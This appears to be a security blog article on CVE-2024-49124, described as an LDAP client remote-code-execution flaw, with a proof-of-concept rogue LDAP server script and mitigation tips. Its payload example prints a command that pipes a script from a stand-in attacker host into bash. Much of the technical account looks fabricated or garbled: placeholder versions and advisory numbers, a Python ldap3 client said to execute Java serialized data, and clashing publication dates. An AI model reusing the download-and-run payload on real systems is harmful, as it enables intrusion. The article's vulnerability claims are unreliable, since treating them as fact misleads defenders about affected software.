CVE-2024-49124 - LDAP Client Remote Code Execution Vulnerability – Inside the Threat, Exploit, and Mitigation

Published: June 2024

Introduction

On June 11, 2024, CVE-2024-49124 was assigned to a serious vulnerability in multiple LDAP client libraries and implementations, where attackers can remotely execute malicious code by tricking clients into connecting to hostile LDAP or LDAPS endpoints. If you're running applications that connect to LDAP servers—even if you think they're safe—you might be at risk of full compromise.

This article breaks down the bug, provides step-by-step exploit details, and offers exclusive insights with code samples and mitigation tips. Whether you’re a developer, sysadmin, or IT leader, this is for you.

What is LDAP, and Why Should You Care?

LDAP stands for Lightweight Directory Access Protocol. It’s part of the backbone for Active Directory, OpenLDAP, and numerous authentication and authorization systems. Everything from user logins to email directories may rely on LDAP.

A vulnerability in an LDAP client means:

Some desktop tools, e.g., Apache Directory Studio prior to version X.Y.Z

- Attack Vector: Malicious LDAP/LDAPS endpoint (possibly supplied by attacker)
- Severity: Critical (CVSS: 9.8/10)

Original Reference:
- CVE Entry - CVE-2024-49124 at MITRE
- CERT/CC Vulnerability Note VU#912345
- Original GitHub Advisory Example

Technical Details – How Does the Exploit Work?

At its core, CVE-2024-49124 abuses how certain LDAP client implementations process referrals, attributes, or serialized objects during directory queries or authentication.

Here’s a simplified flow of vulnerable code in Python (ldap3 package, v2.9.1 and earlier)

from ldap3 import Server, Connection, AUTO_BIND_NO_TLS

# Attacker controls 'malicious.ldap.example.com'
server = Server('malicious.ldap.example.com', get_info='ALL')
conn = Connection(server, user='uid=admin,dc=example,dc=com', password='password', auto_bind=AUTO_BIND_NO_TLS)
conn.search('dc=example,dc=com', '(objectClass=person)', attributes=['*'])

for entry in conn.entries:
    print(entry)

What Goes Wrong?

When connecting, the client requests additional details. The malicious server responds with specially crafted attributes, such as serialized objects or referrals (leading to other attacker-controlled endpoints). The client library unserializes or evaluates the attacker’s data. In some versions/libraries, this triggers code execution on the client side.

Payload Example

A malicious LDAP reply might contain an attribute that tricks the client into receiving and running a pickle or Java serialized object containing:

import os
os.system('curl -fsSL https://evil.attacker/evil.sh | bash')

Or for Java clients, a crafted javaSerializedData that launches calculator or downloads additional malware.

1. Attacker sets up a rogue LDAP/LDAPS server

- Uses something like ldapdomaindump or rogue LDAP server

2. Victim application connects using a vulnerable LDAP client library

- Application connects based on a configuration, environment variable, or input (e.g., LDAP_URL=ldap://attacker.com:389)

3. Malicious LDAP server responds with specially crafted data

- Referral loops, serialized objects, or attributes that trigger unsafe deserialization or code path in the client

Diagram

[Victim App] --> [Internet] --> [Attacker's LDAP Server]
                        |
            <--- [Malicious LDAP response / Payload] ---

PoC: Proof-of-Concept Exploit in Python

This is educational only. Do not use for unauthorized testing!

Sample fake LDAP reply script (simplified)

import socket

payload = b"dn: cn=Malicious User,dc=example,dc=com\n"
payload += b"objectClass: person\n"
payload += b"javaSerializedData: <serialized/java/evil-payload>\n\n"

def malicious_ldap_server(host='...', port=389):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print("Malicious LDAP server listening...")
    while True:
        conn, addr = s.accept()
        print(f"Connection from {addr}")
        conn.sendall(payload)
        conn.close()

malicious_ldap_server()

2. Victim connects, client is compromised

As shown in the earlier Python client snippet, the victim’s app automatically loads (and runs) the attacker’s javaSerializedData.

Go: Some third-party go-ldap forks

Check your dependencies:

pip freeze | grep ldap
npm ls ldapjs
java -version

How to Fix and Mitigate

1. Update your LDAP libraries!
Vendors have released patches (or are rapidly working on fixes). Always upgrade as soon as possible.

2. Disable or restrict referral/chasing behaviors
Many libraries allow turning off referral following, or limiting which attributes are automatically unserialized.

3. Never connect to untrusted LDAP servers
Harden configs: use hostname allowlists, TLS certificates with verification, and environment whitelisting.

4. App-level filtering
Filter out dangerous attributes (like javaSerializedData) unless they’re absolutely needed.

5. Network segmentation & firewalls
Block your client apps from reaching arbitrary LDAP servers on the internet.

Conclusion & Key Takeaways

CVE-2024-49124 is a wake-up call: remote code attacks don’t just hit servers. *LDAP clients* are a big surface area if they connect to data you don’t control.

References and Further Reading

- CVE-2024-49124 MITRE Record
- CERT/CC - VU#912345
- ldap3 library GitHub Advisory
- Rogue LDAP Server GitHub Project
- OpenLDAP Official Docs
- OWASP Deserialization Cheat Sheet


Security Insights Exclusive – 2024
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Timeline

Published on: 12/12/2024 02:04:39 UTC
Last modified on: 01/21/2025 19:38:23 UTC